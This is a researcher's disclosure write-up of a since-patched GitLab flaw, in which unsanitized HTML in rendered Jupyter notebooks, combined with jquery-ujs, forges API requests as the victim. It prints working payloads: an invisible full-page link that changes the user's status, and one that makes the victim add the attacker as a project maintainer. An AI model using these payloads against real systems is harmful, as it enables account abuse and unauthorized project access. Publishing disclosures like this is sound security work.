Security Vulnerability in GitLab: Sending Arbitrary Requests through Jupyter Notebooks
Tags: security, gitlab, jupyter, datascience
Published: 2022-02-10 20:58:16

[GitLab](https://gitlab.com/) is a DevOps platform that supports millions of users in managing their software development process. As part of this, GitLab also supports data scientists with features like the rich representation of [Jupyter](https://jupyter.org/) notebooks:

![Image taken from the GitLab documentation.](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/br63m569ljhfl66953jg.png)
<figcaption>Image taken from the <a href="https://docs.gitlab.com/ee/user/project/repository/jupyter_notebooks/">GitLab documentation</a>.</figcaption>

## Jupyter Notebooks

Through their web-based interactive development environment, Jupyter notebooks allow easily sharing workflows for data science or computational journalism.

Different programming languages such as Python can be used to define these workflows by combining smaller units, so-called cells. In addition to programming languages, these cells can also [display HTML](https://nbviewer.org/github/ipython/ipython/blob/master/examples/IPython%20Kernel/Rich%20Output.ipynb#HTML).

Although the rich representation of Jupyter notebooks in GitLab is more limited than in tools like [`nbviewer`](https://nbviewer.org/), cells with HTML are still rendered on GitLab.

## Exploiting Rich Representation of Jupyter Notebooks in GitLab

While browsing through existing GitLab vulnerabilities on HackerOne, I noticed that the rich representation of [OpenAPI specifications](https://swagger.io/resources/open-api/) was once subject to a [stored XSS vulnerability](https://hackerone.com/reports/806571). This made me curious whether this type of vulnerability could also apply to other rich representations in GitLab. So I started fiddling with the Jupyter notebook viewer of GitLab and was rewarded!

[The vulnerability that I discovered](https://hackerone.com/reports/970869), exploits a lack of sanitization in the output of GitLab's Jupyter notebook viewer and uses [`jquery-ujs`](https://www.npmjs.com/package/jquery-ujs), an npm package [used in GitLab](https://gitlab.com/gitlab-org/gitlab/-/blob/4e12f87c013f59070bf1156bb2427af9fa9123c4/package.json#L101), as a gadget.

### Lack of Sanitization in Jupyter Notebook Rendering

Storing the following Jupyter notebook as payload in GitLab:

```json
{
  "cells": [
    {
      "metadata": {},
      "cell_type": "markdown",
      "source": ["<a data-method=\"put\" data-params=\"message=p0wn3d\" data-remote=\"true\" href=\"/api/v4/user/status\" style=\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000\" />"]
    }
  ],
  "metadata": {
    "kernelspec": {
      "name": "python3",
      "display_name": "Python 3",
      "language": "python"
    },
    "language_info": {
      "name": "python",
      "version": "3.6.10",
      "mimetype": "text/x-python",
      "codemirror_mode": {
        "name": "ipython",
        "version": 3
      },
      "pygments_lexer": "ipython3",
      "nbconvert_exporter": "python",
      "file_extension": ".py"
    }
  },
  "nbformat": 4,
  "nbformat_minor": 2
}
```

outputs the contained HTML without sanitization:

```html
<a
  data-method="put"
  data-params="message=p0wn3d"
  data-remote="true"
  href="/api/v4/user/status"
  style="background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000"
/>
```

While this is just an invisible link, the styling creates a layer on top of the Jupyter notebook viewer that triggers the link upon the first click of the user.

### Using `jquery-ujs` to Send HTTP Requests

The lack of sanitization for the HTML is not a vulnerability in itself, though. The rendered `data-*` attributes only become a vulnerability in combination with `jquery-ujs` which was used by GitLab at the time of discovering this vulnerability. The npm package allows to make HTTP requests from links, i.e., `<a>` HTML elements using `data-*` attributes.

The exemplary payload from above specifies that we want to craft an asynchronous (i.e., `data-remote="true"`) `PUT` request (i.e., `data-method="put"`) to `https://gitlab.com/api/v4/user/status` (i.e., `href="/api/v4/user/status"`) with the parameter `{'message': 'p0wn3d'}` (i.e., `data-params="message=p0wn3d"`). That is, we want to change the status of the victim's profile to `p0wn3d`.

### Impact

While changing the victim's status has a limited impact, impersonating a victim in the face of GitLab's API can be very harmful. As such, consider the following payload which would cause a victim to name the attacker as maintainer on a desired project:

```HTML
<a
  data-method="put"
  data-params="user_id=<ATTACKER_ID>&access_level=40"
  data-remote="true"
  data-url="/api/v4/projects/<PROJECT_ID>/members"
  style="background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000"
/>
```

where `<ATTACKER_ID>` would be the attacker's user ID on GitLab and `<PROJECT_ID>` would be the ID of the GitLab project to gain access to.

## Timeline

I responsibly disclosed this vulnerability through GitLab's bug bounty program [on HackerOne](https://hackerone.com/reports/970869):

- [2020-08-30] Reported the vulnerability to GitLab
- [2020-08-31] Updated the report with simplification of exploit
- [2020-09-02] Updated the report with a follow-up of technical details
- [2020-09-07] GitLab verified the vulnerability
- [2021-09-21] GitLab shipped a fix for the vulnerability with version 14.3